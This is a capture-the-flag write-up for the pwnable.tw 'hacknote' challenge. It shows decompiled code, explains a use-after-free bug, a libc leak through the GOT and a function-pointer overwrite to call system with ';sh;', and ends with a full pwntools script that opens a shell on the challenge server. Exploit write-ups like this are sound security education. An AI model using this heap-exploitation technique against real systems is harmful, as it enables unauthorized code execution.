Table of Contents
Challenge
A good Hacker should always take good notes!
nc chall.pwnable.tw 10102
We are also provided a binary and the libc used on the server.
Solution
When running the binary, we can see four options:
Understanding the binary
When reversing the binary, we can use the shown options to help identify functions used. I reversed the binary in Ghidra, and the following are the cleaned up decompilation output from the binary.
void add_note(void)
{
int iVar1;
void *_note;
size_t size;
void *contents;
int in_GS_OFFSET;
int i;
char note_size [8];
note *note;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
if (counter < 6) {
i = 0;
while (i < 5) {
if ((¬es_list)[i] == (note *)0x0) {
_note = malloc(8);
(¬es_list)[i] = _note;
if ((¬es_list)[i] == (note *)0x0) {
puts("Alloca Error");
/* WARNING: Subroutine does not return */
exit(-1);
}
(¬es_list)[i]->print_func = (void *)0x804862b;
printf("Note size :");
read(0,note_size,8);
size = atoi(note_size);
note = (¬es_list)[i];
contents = malloc(size);
note->contents = contents;
if ((¬es_list)[i]->contents == (char *)0x0) {
puts("Alloca Error");
/* WARNING: Subroutine does not return */
exit(-1);
}
printf("Content :");
read(0,(¬es_list)[i]->contents,size);
puts("Success !");
counter = counter + 1;
break;
}
i = i + 1;
}
}
else {
puts("Full");
}
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
In the add_note
function, we can see that there is a list of notes, called notes_list
, and a maximum number of notes allowed. After 6 notes, are created, no more can be created. The note
struct contains a pointer to a function at 0x804862b
and a pointer to malloc
ed memory containing the provided contents. There are no obvious heap overflows.
void print_func(char **param_1)
{
puts(param_1[1]);
return;
}
This is the function at 0x804862b
. It simply prints the contents of the note.
void delete_note(void)
{
int iVar1;
int index;
int in_GS_OFFSET;
char index_str [4];
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
printf("Index :");
read(0,index_str,4);
index = atoi(index_str);
if ((index < 0) || (counter <= index)) {
puts("Out of bound!");
/* WARNING: Subroutine does not return */
_exit(0);
}
if ((¬es_list)[index] != (note *)0x0) {
free((¬es_list)[index]->contents);
free((¬es_list)[index]);
puts("Success");
}
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The delete_note
function has an obvious oversight. It doesn't remove the deleted note from the notes_list
array. It simply frees the memory that was allocated.
void print_note(void)
{
int index;
int _canary;
char index_str [4];
int canary;
canary = *(int *)(_canary + 0x14);
printf("Index :");
read(0,index_str,4);
index = atoi(index_str);
if ((index < 0) || (counter <= index)) {
puts("Out of bound!");
/* WARNING: Subroutine does not return */
_exit(0);
}
if ((¬es_list)[index] != (note *)0x0) {
(*(code *)(¬es_list)[index]->print_func)((¬es_list)[index]);
}
if (canary != *(int *)(_canary + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The print_note
function calls the function that was stored within the note
struct with a pointer to the struct itself.
The goal is clear. If we overwrite note->print_func
with a pointer to system
and call print_note
on that index, we can get a shell. To do this, we need to leak a libc address.
Leaking a libc address
To leak a libc address, we can simply print the contents of a global-offset-table (GOT) entry. The GOT contains pointers to dynamically-linked libraries, and is populated by the linker at runtime. The GOT entry for puts
would point to the address of puts
within libc.
To accomplish this, we can abuse the use-after-free to overwrite a freed note
struct. The goal is to make a note
struct look like the following:
note->print_func = *0x804862b; // Address of the default print_func used by the binary
note->contents = *0x804a024; // Address of GOT entry for puts
malloc
returns the first available memory region, and generally reuses previously free
ed regions. However, it has bins of specific sizes that generally are not moved. To demonstrate this, I made a small test program:
The note
struct malloc 8 bytes for the struct, and n bytes for the contents. If we allocate 2 notes with 8 bytes of contents each, and then free them, we can gain a pointer to the note
struct.
// New note with 8 bytes content (Note A)
malloc(8); // = 0x00 Note A struct
malloc(8); // = 0x10 Note A contents
// New note with 8 bytes content (Note B)
malloc(8); // = 0x20 Note B struct
malloc(8); // = 0x30 Note B contents
// Delete note A
free(0x00);
free(0x10);
// Delete note B
free(0x20);
free(0x30);
// New note with 32 bytes contents (Note C)
malloc(8); // = 0x00 Note C struct <-> Note A struct
malloc(32); // = 0xA0 - This will be in a different bin from the smaller allocations
// New note with 8 bytes contents (Note D)
malloc(8); // = 0x10 Note D struct <- Note A contents
malloc(8); // = 0x20 Note D contents -> Note B struct
Note D's contents will overwrite Note B's struct. Now we can simply set the contents of Note D to the needed values, and the print out index 1 to leak the libc address of puts
. To find the libc base address, we can subtract the address of puts in the libc binary from the leaked address. Now we can find the address of any libc function.
LIBC_BASE = LEAKED_ADDR - L_ADDR_PUTS
ADDR_SYSTEM = LIBC_BASE + L_ADDR_SYSTEM
Crafting a shell
To spawn a shell, we need a note
's struct to look like the following:
note->print_func = *system; // Address of system calculated from the leaked base address
note->contents = ";sh;"; // String to call /bin/sh
Since print_note
calls note->print_func
with a pointer to the note itself, this will call system('\x90\xd0\xab\xff;sh;\xff')
. The address of system itself will be provided as an argument. To still get a shell, we can surround sh
with semi-colons to make them appear as separate commands to the shell.
We can reuse the setup we used to leak libc. If we just free the last note created (Note D), then we can create another note that will also overwrite Note B's struct:
//...
// New note with 8 bytes contents (Note D)
malloc(8); // = 0x10 Note D struct <- Note A contents
malloc(8); // = 0x20 Note D contents -> Note B struct
// Delete Note D
free(0x10);
free(0x20);
// New note with 8 bytes contents (Note E)
malloc(8); // = 0x10 Note E struct <-> Note D struct <-> Note A contents
malloc(8); // = 0x20 Note E struct <-> Note D contents <-> Note B struct
Now, if we print the note at index 1, we will get a shell.
Script
from pwn import *
context.terminal = '/bin/sh'
r = remote('chall.pwnable.tw', 10102)
libc = ELF('./libc_32.so.6')
elf = ELF('./hacknote')
L_ADDR_SYSTEM = libc.symbols['system']
L_ADDR_PUTS = libc.symbols['puts']
ADDR_PUTS_GOT = elf.got['puts']
ADDR_PRINT_FUNC = 0x804862b
def add_note(size, contents):
log.info('Adding note: [size]: %d [contents]: %s' % (size, contents))
r.write('1\n')
r.recvuntil('Note size :')
r.write(str(size))
r.recvuntil('Content :')
r.write(contents)
r.recvuntil('Success !\n')
skip_menu()
def delete_note(index):
r.write('2')
r.recvuntil('Index :')
r.write(str(index))
r.recvuntil('Success')
skip_menu()
def skip_menu():
r.recvuntil('----------------------')
r.recvuntil('----------------------')
r.recvuntil('----------------------\n')
# Leak libc
add_note(8, 'a' * 2)
add_note(8, 'a' * 2)
delete_note(1)
delete_note(0)
add_note(32, 'A' * 10)
# This overwrites the note struct
add_note(8, p32(ADDR_PRINT_FUNC) + p32(ADDR_PUTS_GOT))
r.write('3')
r.recvuntil('Index :')
r.write('1\n')
LEAKED_ADDR = u32(r.recv(4))
LIBC_BASE = LEAKED_ADDR - L_ADDR_PUTS
ADDR_SYSTEM = LIBC_BASE + L_ADDR_SYSTEM
ADDR_BINSH = LIBC_BASE + libc.search("/bin/sh").next()
log.info("Leaked address of puts [%s]" % (hex(LEAKED_ADDR)))
log.info("Found libc base [%s]" % (hex(LIBC_BASE)))
log.info("Found address of system [%s]" % (hex(ADDR_SYSTEM)))
log.info("Found address of '/bin/sh' [%s]" % (hex(ADDR_BINSH)))
delete_note(3)
#Create shell
log.info('Attempting to create shell')
add_note(8, p32(ADDR_SYSTEM) + ';sh;')
r.write('3')
r.recvuntil('Index :')
r.write('1')
r.interactive()